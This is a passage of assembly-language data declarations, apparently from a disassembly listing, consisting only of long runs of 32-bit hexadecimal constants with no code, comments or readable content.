		dd 4A4D91E4h, 0CD4066A2h, 0DB8CCFE4h, 0C1C13E53h, 926591DDh
		dd 48336Ch, 0A65AAE74h,	0DBD0E166h, 9E251563h, 3495AEB1h
		dd 0D25265D6h, 64EC3543h, 83F2A697h, 3DBD2DD3h,	84833EE5h
		dd 933B9259h, 0A6DB721Bh, 0F039B10Ch, 7CD850C7h, 1E601445h
		dd 0C4467C46h, 679F3B70h, 90F52BB8h, 0D72F681Fh, 0CD0F9929h
		dd 0A02ECE76h, 86F9B2BCh, 5D33C8E3h, 0D0A957E8h, 18FE107Fh
		dd 976CC957h, 0A95BB789h, 9AECD494h, 75B1EA2Ah,	0A8D68057h
		dd 0E09613B7h, 0E36F4F94h, 0E32F7224h, 9AF5BBDh, 0BF3C94Ch
		dd 1A340261h, 529E4213h, 6C435FFEh, 115964E0h, 31EB514Fh
		dd 3EBAAFECh, 0C31BF67Dh, 4C8852CBh, 8EC420FDh,	0A9C64B2h
		dd 0C5E768E2h, 20F8D4FDh, 5B5822C4h, 0E059B992h, 586ECD00h
		dd 9EA59E1Bh, 1D36FFAEh, 0B800A989h, 0D933848Ch, 48EF4DC2h
		dd 0ED3134A4h, 32FB60D8h, 183C58DCh, 7B145533h,	43F7B1E3h
		dd 1D2C89A9h, 787A86FFh, 0E7C77E98h, 0D1E9C8CDh, 53DA92D8h
		dd 5FB51584h, 99F12B20h, 169C0B60h, 0C57B881Ah,	6BAF47FAh
		dd 67874492h, 0E904D3BBh, 0F7759EDBh, 6A7AA879h, 0D35739ACh
		dd 706EBD4Dh, 0A2D2B9A3h, 47F74070h, 0FCEA66F8h, 0AFCD3170h
		dd 19C9FB0Ah, 36819FA3h, 0DFA0311h, 0C5B4B33Bh,	99AEB047h
		dd 94485414h, 13070DCFh, 1EB805DFh, 362ECFC9h, 5710E842h
		dd 9C59361Ch, 0A45B425Dh, 0ADF69988h, 0C7F8424Eh, 5077EA92h
		dd 71208841h, 0EF4E10A3h, 0FD358FD4h, 444014B9h, 6A75B28Dh
		dd 662F2E31h, 0F19C9A76h, 39158363h, 0D0702D26h, 5C62B61Ah
		dd 1FB7AC08h, 86A5E883h, 86B215B5h, 2D720BFDh, 5E13C154h
		dd 9B7B4024h, 0E00F1EBh, 3387B087h, 0DC569FE2h,	0BEC51C5Eh
		dd 0DA877153h, 0D7B1BCD6h, 0F8D60BCBh, 0D49D0869h, 0F698FAAEh
		dd 42B81C0Fh, 89F7815Ch, 118CA797h, 0A0ABBAB6h,	0C800A6E7h
		dd 3B7166B7h, 90DF3406h, 94D46597h, 8E5B847h, 4C411D4h
		dd 11B446Ch, 83D17F10h,	2FFF180Ch, 0FF144082h, 9EBDBDCEh
		dd 0E293BD5Ah, 0CC426E0Ch, 2C15333Ch, 0CAD7FFB1h, 0C0A16A26h
		dd 0C2A5B035h, 54A9A005h, 0B13E1098h, 0F0BA01A1h, 0C27ABFB6h
		dd 4A16E020h, 0C04A21C8h, 0CD114228h, 0CE9A2972h, 0C8E3983Ch
		dd 43B86DE1h, 91949D8Fh, 26B9E362h, 0CE938675h,	0C53B0A6Ah
		dd 7A61C7F0h, 0C7311E16h, 83752C1Bh, 65B42F33h,	0D7D5C0BDh
		dd 57E6CFA1h, 5B6F299Ch, 0A5E4962Dh, 9C21B8ACh,	0D0D5A835h
		dd 0C4E7166Dh, 0F971FED9h, 0BDC8218Fh, 6FE81FA8h, 1D932312h
		dd 9729D986h, 300277Fh,	0F32531FAh, 0E759A30Dh,	8E32EA10h
		dd 98A258BAh, 54554F2Eh, 6FB1B6A2h, 618DD04h, 98F6079Dh
		dd 0FC0F702Ah, 0FEA432DCh, 0FAFB24A1h, 0C112B672h, 3223153Ch
		dd 4EFFAD03h, 0D8B5C3C2h, 81DE6157h, 8E08AF93h,	0AE338EB8h
		dd 0D5F6EDBBh, 6B1E6CC0h, 0D92BFC75h, 15965FF0h, 0BFE4DA74h
		dd 35AE780Ah, 0C6B8939Eh, 0F8DB4872h, 6FBBD64Ch, 0C74D09EFh
		dd 0CC4DD6A3h, 0D0C08CB4h, 0B43AD627h, 0C7059914h, 1DD3526Dh
		dd 50C0248h, 0C0AC385Eh, 0DD7A4FA6h, 31449BDCh,	5AF38B71h
		dd 58795252h, 8E2E9256h, 53668A7Ah, 0CF64E66h, 0B8BBB4A6h
		dd 653CABE4h, 574E2FA4h, 98A5ADF3h, 0ACD527F5h,	25B00811h
		dd 9A9599A2h, 0F4FBA2BEh, 0A0E793B2h, 2DAD9436h, 0BD878744h
		dd 0A12DE0EAh, 1E2E27A2h, 0A5B0A058h, 4B0AFA1h,	819E8994h
		dd 0AD6F0510h, 0A1B61E34h, 45E5EF0h, 635B23D9h,	998DB94Ch
		dd 2BF1F289h, 3A38B334h, 4D041DE6h, 0DCFD1F9Fh,	9C921705h
		dd 725D6698h, 75B5746Ah, 0B89DC4A3h, 0F822BAEAh, 3294CF77h
		dd 81FEC4A5h, 9F4E491Fh, 88722B79h, 2C97AFE2h, 9669AA83h
		dd 18AD6486h, 231A2B20h, 8B73D6E5h, 4AD4BE3Ch, 0C70039AFh
		dd 9F728110h, 0F2BDD38Fh, 4FE73D2Ch, 0A4FCDE6Ah, 0E0AD96E1h
		dd 0BC150CB3h, 0BC857B6Fh, 0D19321F0h, 1D69A0B9h, 19E4A38Dh
		dd 0D1878B82h, 95676055h, 0E8466753h, 901B9700h, 0E8A5C6CDh
		dd 95CC33D2h, 5124C896h, 99919C46h, 831FFE89h, 1E4C4154h
		dd 4845DF16h, 0F48DFD0Ah, 0B5042F95h, 0AF933E28h, 9536C0F4h
		dd 84427F6Ah, 4BB8BE7Dh, 46E4BF60h, 0A7BF7931h,	647D43ACh
		dd 531EDC8Fh, 0AC4108C7h, 0E5489785h, 976EE88Eh, 0A06BB9DEh
		dd 0B850852Ah, 567BD083h, 2CABEE28h, 94EE68D9h,	2FD5539Dh
		dd 4762B0ACh, 91D37CE6h, 87A20B6Dh, 0EF9149F6h,	1E231D09h
		dd 1634E4B6h, 3B7ACCCFh, 0F8E86046h, 0BCDF6BC7h, 59033622h
		dd 9D5FB75h, 0F3DAD584h, 2F35AF67h, 0BE90F4BEh,	52993E31h
		dd 90C6C0F9h, 3FC4C42Ch, 5830DB6Ch, 618733BDh, 540517CAh
		dd 0F9B2582Dh, 9A2E3524h, 547E43EDh, 440865A9h,	9D0238D7h
		dd 9A357B83h, 482B2872h, 0DA8B7291h, 0C758A439h, 0FA487A2Bh
		dd 686DC7CAh, 97D446A3h, 37073995h, 87465721h, 727959A5h
		dd 5316DDDEh, 4541BC25h, 0AD86A706h, 0FFF62DCEh, 5BAAACD4h
		dd 0EA53B802h, 4F9A0562h, 8EDBE45Ch, 0AEAA35E9h, 89D0E523h
		dd 0DDDD1437h, 12BF6AB2h, 0DFBF885Dh, 9F4C0A07h, 499B55D9h
		dd 67C858B7h, 8283C33Bh, 28A913D8h, 879CA592h, 81A8062Dh
		dd 0E4FADACEh, 0D0E0F368h, 27C65B10h, 23066694h, 82E8EE90h
		dd 21CBDB3Dh, 34DAB68Ch, 6478488Ah, 3A562F87h, 0BF956FB4h
		dd 1028D188h, 0DC6C4C5Ah
		dd 0B627BFC0h, 0D44CD304h, 0EFE144B8h, 5CE52AA7h, 7F32998Fh
		dd 6221DEEFh, 1406C083h, 30B4DF5Dh, 0F1618B61h,	0AA16B81Eh
		dd 0EF462901h, 0D1D77B3Ch, 0D3CAA390h, 83B6C550h, 0E9C15833h
		dd 6F528219h, 706729FAh, 7E30D9FCh, 95576AADh, 87CFC18Ah
		dd 4EBB8563h, 0A8FB6408h, 7452E02Ah, 43BDB6B9h,	9E4C7365h
		dd 19E7F547h, 3A4D1F78h, 386B9E57h, 5112A314h, 49059994h
		dd 1D3B035Eh, 379B83B9h, 0D8EE1A84h, 0BBF86C0Eh, 0AD84E3D4h
		dd 0D61E3489h, 69A0A9CCh, 39C1D147h, 0F2A13553h, 0FF3F7B13h
		dd 3E87AD96h, 0D7A85FC7h, 1971EC81h, 42335797h,	6E59270Fh
		dd 0B6D546C8h, 1EAA75BCh, 10E42044h, 0C9DC3964h, 0DE773F02h
		dd 46B1DB94h, 89D78E06h, 17031965h, 63D11981h, 2AC82137h
		dd 0F8AB85E6h, 0FC0E9506h, 0BEA4BA56h, 178B3528h, 0E12D4B23h
		dd 2D8A3FC3h, 0F9FC1180h, 0D16B4C4h, 0D86359D3h, 8313C55Ch
		dd 47DF19E5h, 0CDA94A4Ch, 4DBDBC37h, 5388F810h,	8B2B5087h
		dd 0A786F7BFh, 0B553848Ah, 6F57F434h, 7FCAAE62h, 0F604BAB1h
		dd 8D0054BDh, 0EAAF0770h, 0FF64F383h, 7563DAF4h, 22F1EAC9h
		dd 0EC277678h, 40CB74BFh, 0E7A2158h, 0AB887FC8h, 49AB95B1h
		dd 921AE105h, 119740D9h, 0E48EFB50h, 0BD7F412Ah, 0D670A1CDh
		dd 3E0E8570h, 0D95377A1h, 0ECF99FF9h, 9C7F0C9Ch, 0D2C815Ch
		dd 1F062A8Bh, 0D7F392D9h, 7278B0A7h, 883AD794h,	3E64E403h
		dd 0F924BC8Fh, 5D4CC630h, 52643B29h, 1957BC58h,	852F3F6Dh
		dd 0C41A7B54h, 5B5A3A40h, 0D561300Ah, 21A8F8EEh, 10197BBFh
		dd 0F4CBC551h, 0FD1895A0h, 6C7391A6h, 6FB11D9Ch, 976E991Fh
		dd 0AD1BE9E4h, 0CB37D280h, 95CBCAF8h, 0A6E987B6h, 6C32CEB9h
		dd 55B5B8F6h, 885AA734h, 0A2AA1E55h, 20C2F9F4h,	606EADA9h
		dd 387B4B98h, 865653F8h, 25F3C710h, 0BED7B653h,	0C1DFA3D6h
		dd 9ED69A7Ah, 78D2FACAh, 4B8FEE5h, 64D738ECh, 0BEDE4A8Ch
		dd 0C8D12FD0h, 0FF57F785h, 0BE8EA4CDh, 89820644h, 8EB4F379h
		dd 165F05A0h, 8B4629F6h, 10ED8D3Ch, 0A4EFA93Ah,	9E949ABBh
		dd 144ED642h, 0BC9907Fh, 0CBFA75E5h, 71D7677Dh,	0A96D25BAh
		dd 0DCA99698h, 53A894F9h, 7C7D5F4Bh, 0C49A28BFh, 0D9AE2238h
		dd 824C039Ch, 306909EBh, 0DA413561h, 5F39D3BCh,	0A9CF63Bh
		dd 0F0967E9Dh, 0E8705D0Dh, 98836E5Eh, 70C100D8h, 11545CCAh
		dd 0E8772E5Dh, 2B62BF2Eh, 3240E6A6h, 0F25E24DEh, 0B366BC12h
		dd 0D4225633h, 52D5BC3Eh, 8399D4Eh, 145FA397h, 59288B6h
		dd 833541E0h, 0C8779587h, 68AA9F06h, 0DAB0E52Ch, 659A03D8h
		dd 4032CBFEh, 17F7EBEh,	0BA6427EFh, 0B7159ADFh,	79D7F6B5h
		dd 1E1C6D18h, 970C1076h, 0B1A8D684h, 0E780B157h, 937E530Bh
		dd 91048DD2h, 2B28A346h, 0D360FF23h, 0E934EDB3h, 278F1C88h
		dd 55A88104h, 609C76B4h, 3A475263h, 0E1B1268Ah,	99BC15B5h
		dd 0B48EE0B1h, 5D925CE2h, 0AC2FDA1Eh, 9E22BD13h, 206AE807h
		dd 0F9965D6Fh, 0CD5A79D2h, 23C8E94Dh, 4DC7EA65h, 3F0EBA43h
		dd 5797855Bh, 43193090h, 0FFE4005Ch, 11C5AB35h,	6294A02Fh
		dd 6FC4798Dh, 49C93142h, 0B779B043h, 8040C4B3h,	28BAE169h
		dd 7189A10Dh, 0A0EC8C02h, 0A2405A03h, 0C3FE56E8h, 4A81B741h
		dd 54C41FCEh, 93EC823Dh, 0BD7458D8h, 0EA9033D8h, 0D2FCC537h
		dd 8383E156h, 9E444EEAh, 0BD0A43A1h, 3E1043D7h,	950089AEh
		dd 0BCB7F5AFh, 34211945h, 0CAABCA44h, 58068138h, 0AFDB89C2h
		dd 474A65Eh, 9428E842h,	0E7C62675h, 0DEA04CD1h,	0AE56868Dh
		dd 599D1743h, 0DE66AE98h, 878A11EAh, 0F9FA6A5Ch, 18CB9DBEh
		dd 4874A45Dh, 0EB4F3A0Ch, 690AC1A7h, 1625431Ah,	0D0FC13B2h
		dd 0AC161E1Ah, 3C7A81F4h, 0A0A8D8AFh, 0EC60C335h, 5FD2086Eh
		dd 81AA34Dh, 3B21BB77h,	9746B8C3h, 0F9AC6145h, 17494C77h
		dd 8128E89Fh, 0B8B1A002h, 48B3A07Ah, 8B0CA8B2h,	0F83DDD54h
		dd 640E0FFDh, 9C6CBEFh,	657653B0h, 4B720F5h, 0E4622E1Eh
		dd 0EDB4783Fh, 45DAC6D5h, 68F490B0h, 0D7E60C1Ch, 0E839A825h
		dd 2F45C8D2h, 0C2744073h, 0FFA62A43h, 7155B86Bh, 14DAC6BCh
		dd 5880073Ah, 0C8EEDBE2h, 2E471A45h, 0E65D56B1h, 48923470h
		dd 7640DC6Eh, 0BA553420h, 1168DAA5h, 99991016h,	0AD6D56FCh
		dd 0F4C6A258h, 0C801922Dh, 2425F37Bh, 2C88F89Bh, 1E5F4C1Ah
		dd 0C7C30C6Fh, 64641470h, 42B00EEEh, 0CB5B247h,	8C5EDB6h
		dd 6BDAAEB0h, 2655DFDDh, 8E3A7AFAh, 9A1F3F7Fh, 0F2DA8A70h
		dd 0AB7C8CC3h, 1DA2083Eh, 6100636Ch, 3470E21Bh,	91165D3Eh
		dd 0AE794D4Bh, 2756CAFDh, 4D98F4B5h, 0F6791A9Bh, 76E2EABFh
		dd 0CE8CE15Fh, 0B155CCA3h, 0A2F520D2h, 45655B1Fh, 6B07662Ah
		dd 9A5E0092h, 7A6712E7h, 9C02C23h, 7EEB60C0h, 61670FFCh
		dd 5ADEB59Eh, 8F8CF3D4h, 0DA2BD71Eh, 0BDB92E6Bh, 0BB6CE01Ah
		dd 2AD9B978h, 3EAF3AACh, 0D9C98373h, 6CF59270h,	0AD9449Bh
		dd 79C0172Ch, 7700B496h, 43D9CB1Fh, 88ABD9ADh, 0A1E44D92h
		dd 6A97A9E9h, 0CF9F7BC0h, 0F5778974h, 0E5F27FFh, 8D8F3E61h
		dd 0E2342CD4h, 869E7BC5h, 6788950Bh, 0AE5C429Bh, 0AB06355Eh
		dd 24933DC6h, 45ABF2EAh, 453C4267h, 0A005719Fh,	0DA41B41Bh
		dd 9A4754Fh, 0B96696A3h, 0F921686Bh, 416830A4h,	0B360A63Bh
		dd 0E50D1363h, 0E2906622h, 919043DDh, 5572BF27h, 4C19925Dh
		dd 0B3397367h, 0A338BC01h, 2DF03F1h, 48D24D3Eh,	45613454h
		dd 80ED9371h, 7699D726h, 0FEC863AFh, 0EAC34AF0h, 88C4858Eh
		dd 0D89E5128h, 63EB61CAh, 2434E93Bh, 0D382078h,	40638489h
		dd 8A2667D8h, 3AA2A89Fh, 218C9DFCh, 30485FC6h, 790BBB42h
		dd 26A04E21h, 342D3666h, 75D80489h, 7697682Ah, 6A370047h
		dd 547AB04h, 51357BF8h,	3DCE2ECFh, 0D9E89B7Dh, 0BEDFC292h
		dd 40C744DDh, 0B31B799Eh, 0ED42AC2Eh, 0A3238C91h, 596F12B9h
		dd 0FC85A82h, 7608B0B6h, 6A45C27Bh, 43805655h, 2F3F71B7h
		dd 0A7867D99h, 6B1E61FDh, 717A781Ch, 282B2797h,	7F65C583h
		dd 63681D1Fh, 8017694h,	0EABE2039h, 6974F243h, 8920570Fh
		dd 0BC894A02h, 77B010B4h, 0BCF40575h, 1F655E55h, 0C02D11DBh
		dd 71B2613Eh, 8BF1BF90h, 0D93ADA61h, 0ED9A7F50h, 565236EEh
		dd 68778602h, 3F903354h, 0B47B25D9h, 92CD61EEh,	549B593Dh
		dd 1EF6A088h, 9022CCBCh, 2B908CD7h, 4C6ED61h, 73797806h
		dd 1E90FD6Fh, 7DAC46A9h, 0B8B8D337h, 42FCAF11h,	0D8C66F7Ch
		dd 1F8D4A8Ah, 15B5484Eh, 0F1B052B8h, 74DC98E3h,	0C5F169FEh
		dd 7212F15Eh, 0A07F32E5h, 3B126990h, 45719AAh, 0AC903BFCh
		dd 0EFCC512Dh, 57FBFECAh, 0F81DE079h, 10822EBEh, 0CF33E5F0h
		dd 3A8DFA4Ah, 0CB208E13h, 727519ACh, 0DB020537h, 3B98D89Eh
		dd 6A8F966Fh, 24C15049h, 67FFC27Eh, 0E028754Dh,	1ADCE6B8h
		dd 0A184B969h, 0E8366436h, 0DB91A11Fh, 0B4D62BEAh, 0B8B95F82h
		dd 0C2F1A1C0h, 0C0EDA307h, 0F3A2207Fh, 0D07EFB60h, 0AD951710h
		dd 8A8581Bh, 171AEA6Fh,	3FE327C3h, 1AB0B5F7h, 0EA9C9B66h
		dd 7EE8CC2Bh, 951D19AFh, 8DB950E0h, 80663691h, 0FF2F1360h
		dd 23635F94h, 4996224Ch, 5F174F8Eh, 0AAD16368h,	94E8330Dh
		dd 0D3C64CA0h, 6D64F2DDh, 0E22C57A6h, 9D3C9196h, 67ECB1E6h
		dd 5D24AEA3h, 39207E68h, 11FDE2Dh, 190193FBh, 2781EAB4h
		dd 3358615h, 9F03B240h,	0A449BE01h, 0C5977D80h,	409CD38Ch
		dd 99272F17h, 67BE0B23h
		dd 2FB42A6Bh, 46C9321Ch, 88CF0C55h, 59DB18D7h, 3311BCB3h
		dd 0F8D8F15Bh, 97F1F928h, 6201E329h, 0BC515F8h,	32213C0Bh
		dd 4FBBC69Bh, 4B407FC3h, 7F0EA670h, 4CA43288h, 9526B24Eh
		dd 2B2BE85Dh, 3C176A12h, 8C7A55AFh, 0A2B19B74h,	4828ECF6h
		dd 6AED4E65h, 7BCF0446h, 0CCC9191h, 765A8E9Dh, 8D771C6Ah
		dd 0DC76CE55h, 0D00D0CB6h, 36D15259h, 9BBC8FD0h, 53CD876Ah
		dd 79BCA386h, 943AFF56h, 55B2472Fh, 452EAF3Eh, 8FE1A974h
		dd 9F8DA284h, 6B377383h, 236CEE01h, 0FDB7AC6Eh,	2974E211h
		dd 5149821Bh, 0D6E82B40h, 0E6089EF4h, 6E2E3162h, 327632E8h
		dd 5362037Bh, 0CB2C7204h, 347B0DB6h, 2DA82EB4h,	2DC15251h
		dd 26AB3C77h, 2642814Ah, 3B62EF16h, 0BB0CD4D9h,	0C5204721h
		dd 67F46673h, 0E1D1B9DBh, 55FC4A3Eh, 344EE8Bh, 0E181D1B6h
		dd 0D8D3B616h, 0D3C9112Eh, 0DD2D58B9h, 2DE6533Eh, 8F829083h
		dd 317D7143h, 0C1DE595h, 4E213275h, 0BA53975Dh,	0FC2B8BB6h
		dd 31CD2B2Ch, 0F5263C1Eh, 1A5DED6Bh, 8AF19DDFh,	829DC027h
		dd 0FC421200h, 0A9D3B676h, 0CA88BC80h, 9F56F489h, 9375A655h
		dd 0C2844ED6h, 0F556ECCFh, 29663C3Ah, 9F01FC08h, 3BB582C1h
		dd 97E1E758h, 6B557429h, 7E9BD14Eh, 7CCD2B30h, 0B3155B28h
		dd 761C80EFh, 99BFF75Eh, 0F42572C9h, 24415DF4h,	6E28185Eh
		dd 1E1F261Eh, 0FF71A786h, 522B17FAh, 0F690691Eh, 0BDC2EAA0h
		dd 0E5829FE6h, 0E29B8662h, 8E2523AFh, 2570679Eh, 5D38FAF7h
		dd 8D665639h, 239F6A2Eh, 0DF4C19EBh, 0E8084991h, 0F42DB74Eh
		dd 7BD51C28h, 0EB69DED0h, 0B07E0BFAh, 0B913DB01h, 0E9C55C98h
		dd 5AB181EAh, 0DAE3ADDDh, 0F87ED2BBh, 0CE5121D1h, 5AB46E52h
		dd 0C684474Ah, 0C8B6DE4Fh, 4718F73h, 0B0865809h, 24286257h
		dd 755E2EEFh, 54FFCBA4h, 0A0C2CB49h, 7A96AC23h,	5A66AA7Ah
		dd 0B69A2C1Bh, 0EE7B6ADCh, 0DA1099E5h, 12F0E7E2h, 92AE6549h
		dd 14992C9Bh, 0DCADAE8h, 0B4EDB1D8h, 80BCDC19h,	1D506F58h
		dd 0A6F95DDFh, 7892EC37h, 0B756D4D3h, 0D7529FD0h, 32A124B7h
		dd 0F5A49651h, 4D78E555h, 98B90954h, 44EED97Ch,	0B4E81E2Fh
		dd 76FA9B07h, 0D19E46CDh, 22D34576h, 16819B43h,	0B05589CDh
		dd 560DA845h, 44C7F16Fh, 0BFFC7C2Bh, 62DA26D9h,	2D30BA8Dh
		dd 2FF011F3h, 3C026844h, 0EC6154DBh, 0AA64AA65h, 1CFC9E48h
		dd 207D896Dh, 210EBB01h, 0F74ADBCBh, 3E2FB531h,	1C4452B9h
		dd 0B65352BFh, 82E972D4h, 7969D35Eh, 2B2DECDCh,	0C6D4CE61h
		dd 3FCD631Dh, 406A26F1h, 644332E2h, 8BD272DFh, 266F51F7h
		dd 1A2F6EB6h, 0FCF7CBDDh, 55F0A732h, 837C72DBh,	7CF3BCD9h
		dd 280CA9F0h, 58A51866h, 0DE61AF8h, 4CBF51BDh, 75DB1Eh
		dd 0B521D5CEh, 71BBAFD0h, 9C7A540h, 1C996F04h, 0F8A07521h
		dd 0D18637DAh, 0F4DC542Ah, 793BF1FBh, 0CDFD6959h, 0F5456FD2h
		dd 2190628Eh, 0F5787B3Fh, 879FE41Bh, 32FF45D6h,	0ABB64DF9h
		dd 73CD2DBCh, 0FE724D37h, 0EB77E620h, 0C9B727CDh, 81610B58h
		dd 91C9DA97h, 0F8B7824Bh, 0FFCFDD38h, 5CE45166h, 972D8D1Fh
		dd 0BBC83F84h, 2B1EC874h, 740E7753h, 1C8EA785h,	0EDCB0B33h
		dd 9714814Ch, 0E4DA2A45h, 98825C33h, 920AD61Bh,	0D83BD8BDh
		dd 0DA0ACB20h, 6A6C4897h, 7C235E91h, 0A3857270h, 929DBA1Eh
		dd 0D3D6E331h, 3118A883h, 682CF9A8h, 0CD015DCFh, 580515B4h
		dd 6975489Fh, 0A3BC3043h, 71B98BF7h, 9C77A8FBh,	72561B48h
		dd 0C11DE204h, 35A93899h, 13F16CF6h, 57777E2Ah,	0A77A9F24h
		dd 33155777h, 8607D0E6h, 0A8D4873Ch, 0E0BF2651h, 0DD1A6D13h
		dd 0E9CB0AE1h, 6A282129h, 3732FFA1h, 18D37D95h,	59E39702h
		dd 442EA4E9h, 1BD03567h, 0EFD5D5DBh, 0B3A92843h, 515E786Eh
		dd 0A4A7BA3Eh, 6A0EA064h, 0F427FEF0h, 3C82401Dh, 164476B4h
		dd 60BA7B56h, 51E765F5h, 0EE7096F8h, 0B85136D1h, 47704B69h
		dd 2158D8E2h, 0D67549F9h, 0A9EAEBC4h, 0A2EC3F39h, 0C5F3F889h
		dd 0CA60B82Dh, 16CD3B18h, 1D72F1E9h, 0CB05CE7h,	0FF60EF5Ah
		dd 0A1E07BF7h, 53C7DE7Fh, 9A260030h, 0BD1EA9FFh, 98BB012Fh
		dd 24D5DEA1h, 3E8613E5h, 4DC9840Ah, 0C04E4FBCh,	385CD11Ch
		dd 0F82B45A9h, 0AF90AFECh, 5334EA3Eh, 0CD5E078Ch, 0B5289272h
		dd 321C75D1h, 0E5D650C5h, 0C898F2FDh, 6DA96868h, 3F2944F8h
		dd 8794CED0h, 0DD669BB9h, 5D71D284h, 8A61B1E5h,	4D664AF1h
		dd 4A396137h, 333D73Ah,	175F5E49h, 3B4F6F1Dh, 354E9E17h
		dd 4340A7D6h, 14E7C98Fh, 2ACD19FEh, 7790CFAFh, 0E79A8C88h
		dd 3E07A099h, 4B70BC14h, 0F1F20DA9h, 5C76D518h,	851E3D3Dh
		dd 6AAD503Ah, 55CB6C74h, 0B129E701h, 9F023B03h,	76CA7A03h
		dd 48AE0C07h, 5ACB3A57h, 58F7CDC2h, 81ED752Bh, 209E2012h
		dd 612D2BD6h, 0B4EAF8A9h, 74DB3BA9h, 0EE8CD09Fh, 0E71777CBh
		dd 0AECC85D9h, 8CAAF11Ah, 4AAF2B9Eh, 0B0048718h, 1A576FEEh
		dd 32F7C138h, 2F08D405h, 9DDB3A01h, 41C023B7h, 69D4F16Fh
		dd 45037A82h, 97D7A46Ah, 9F033537h, 0C9810E14h,	0DDBD64B0h
		dd 8106E289h, 9D6C52F5h, 0A0556F65h, 0F2362C8h,	17D928BDh
		dd 6FD47B8Ah, 2BA03DA3h, 4BA66582h, 4E8D4B68h, 38D3E363h
		dd 2552760Fh, 9DDB1E98h, 815FFEA7h, 4CAC8B3Bh, 0D079D371h
		dd 0EBA914F1h, 4297FC79h, 97F4C4F8h, 199F6A71h,	152D8F5Dh
		dd 0ED357BC5h, 324B5867h, 63B8DF3Dh, 6C1CE2A8h,	0AB37B5C5h
		dd 2652D000h, 0BA492B0h, 18D8729h, 0FF5401C7h, 74206F5Fh
		dd 0FE21D27Dh, 17F08F9Dh, 14E4FFECh, 7532B1ABh,	0B77AA7F6h
		dd 777DB615h, 1B4F3A18h, 0C946E0BEh, 0F77D0D7Bh, 6BC96421h
		dd 0D22577C7h, 0F02C0A58h, 0E7AE004h, 0D0B0AC0Eh, 87468EC0h
		dd 0AF530C73h, 1F725FCCh, 53EE79BCh, 435E7C50h,	0EC4A0550h
		dd 0E0B8E3F9h, 0B5ABF830h, 1EB7B072h, 8A189917h, 0EC88BFD4h
		dd 0D71D6FBAh, 9AC21FD5h, 810A55E3h, 59E7E5EAh,	10724AB9h
		dd 2A594B0Eh, 7A298567h, 0A99BB833h, 0BCD4B2C1h, 96554349h
		dd 24EE4C5h, 9C7DBD16h,	0E91F11F0h, 4C05A996h, 0A235606h
		dd 5D02C7A8h, 6098D718h, 7E0066D4h, 0EF04A3D7h,	12973E01h
		dd 74FCBF58h, 0D4BFA8B7h, 0D2E0FB0Eh, 6C1134Eh,	68BE93DCh
		dd 0BC40ADF2h, 0FEDD8138h, 977A47E8h, 7D2ED76Ch, 8C0EE6EEh
		dd 0B4B7614Dh, 0B83FE210h, 0EAB0B07Dh, 8A620797h, 795D5BDFh
		dd 0E1254808h, 189EDE0Ah, 6B28C488h, 625AF778h,	0C5C367A0h
		dd 7753756Eh, 5EBFBE74h, 2C6C80F2h, 0B94AC31Ah,	98BCBFE1h
		dd 1D54019h, 11FD6D9Dh,	0A1E76BC6h, 5793A67Ch, 13C28D6Fh
		dd 57DFBC0h, 7BFC0EC9h,	0D252DFE1h, 657A1C9Ah, 0C55DCE90h
		dd 0CE535461h, 1276F7DBh, 0CE57CF55h, 0AFBB67E5h, 61AD5846h
		dd 0E69325A7h, 0B847F93Fh, 0D52B7AA8h, 61A74249h, 5C8E33CCh
		dd 541C3C28h, 0FE49E2A7h, 43FE9995h, 135E8812h,	0EFA652D9h
		dd 4D81CA62h, 48059499h, 1BA68BE2h, 99AE1117h, 0CBA96022h
		dd 43187A3Ch, 7BF8DD8h,	0BC9DA397h, 0BD396266h,	82DAF55h
		dd 199D461h, 46CF4C7Eh,	47D532EEh, 0AC25584h, 836E0F85h
		dd 0B711660Eh, 7CC24B46h, 7CA046F6h, 9F5687BEh,	2283917h
		dd 110CE710h, 47781950h, 0E6DAD4CDh, 0B0361219h, 18210503h
		dd 64DEC16Eh, 71FA46D9h, 0FB0DCC10h, 64603CC9h,	0EEAEB284h
		dd 855BD2Ah, 8B389CE6h,	395519A7h, 8F6172BBh, 6A9F2D35h
		dd 0EBC5AF13h, 0EBB7B0EDh
		dd 0D303AD8Ah, 54BBC3ACh, 1BCA773Ch, 7D2ECC82h,	640960BAh
		dd 60992829h, 93847EF4h, 56A2A783h, 1D470DDEh, 597EFFE1h
		dd 1C62748Dh, 0FA7368D0h, 0D2A63147h, 0B2875DCh, 0D6A434C0h
		dd 0C8058BEBh, 91104B0Bh, 365916E2h, 8A7CD882h,	0D00E5125h
		dd 0F3B9814Eh, 7427CB45h, 0B1A9BB95h, 0FF85A2ADh, 721ADCFFh
		dd 0E22EE19Bh, 566FF29Fh, 0DEAA75F4h, 5BD9127Fh, 8F1D8CA7h
		dd 0C09BAA21h, 1458F768h, 533D5018h, 1598938Eh,	6B068E6Fh
		dd 3A79F922h, 6486FF9Eh, 0BEBA8033h, 0F58F6CB0h, 5F885FE2h
		dd 0B156A964h, 0FCE5FB2h, 7FF3F67Ah, 15296E07h,	0E18DC02Eh
		dd 0B1D9717Bh, 0AB6A5E87h, 90664520h, 96D031AEh, 6C9AED5Eh
		dd 38924144h, 0E7DFDC8h, 84BCF2E3h, 704389BDh, 0BA468F6Bh
		dd 52BF582Eh, 6F069EBCh, 0E8C30C17h, 6709E060h,	8E756B26h
		dd 5436DDA8h, 1B1B334Ch, 0D42736F6h, 0B5B2CF59h, 7C57CFF1h
		dd 0C3637B16h, 289ED2E1h, 1CC97E86h, 9157DB1Eh,	5C8BC70Ch
		dd 0A14BA451h, 92095E38h, 4082225Ah, 0B5C98B59h, 0FB1C1D3h
		dd 3CA09A12h, 8B55941Bh, 0B7C4FF07h, 0BEBD7A0Ch, 1000A6D2h
		dd 0BA22858Eh, 4C1FAEBDh, 32A58C5Dh, 19B7E6DFh,	5AC9F363h
		dd 1E4593CCh, 5AA7FC27h, 0BA731CCCh, 3182DF41h,	6405A61h
		dd 0FB43EB12h, 6BE9A72Dh, 0E02E20D5h, 87DCB0A2h, 0DC213B1Dh
		dd 21AF3C71h, 0E9D004BDh, 592B223Dh, 8169BA17h,	2E03BA9h
		dd 2F214EA4h, 0D61C897Bh, 42A7EB1Ah, 9802956Ah,	98D3C38h
		dd 0C7AB5152h, 0E1D94CC3h, 0FCB9EEBBh, 0F9735A7Fh, 0C0D7B185h
		dd 7760E1E6h, 0AD459242h, 0DA986348h, 0B3DF93B6h, 0EBE531CDh
		dd 6A5A7D41h, 9F2B3C28h, 4816DC19h, 5447E40Bh, 36D05C69h
		dd 0D487AE38h, 3C4650Dh, 0DE11584Eh, 204DF8CBh,	15A083F9h
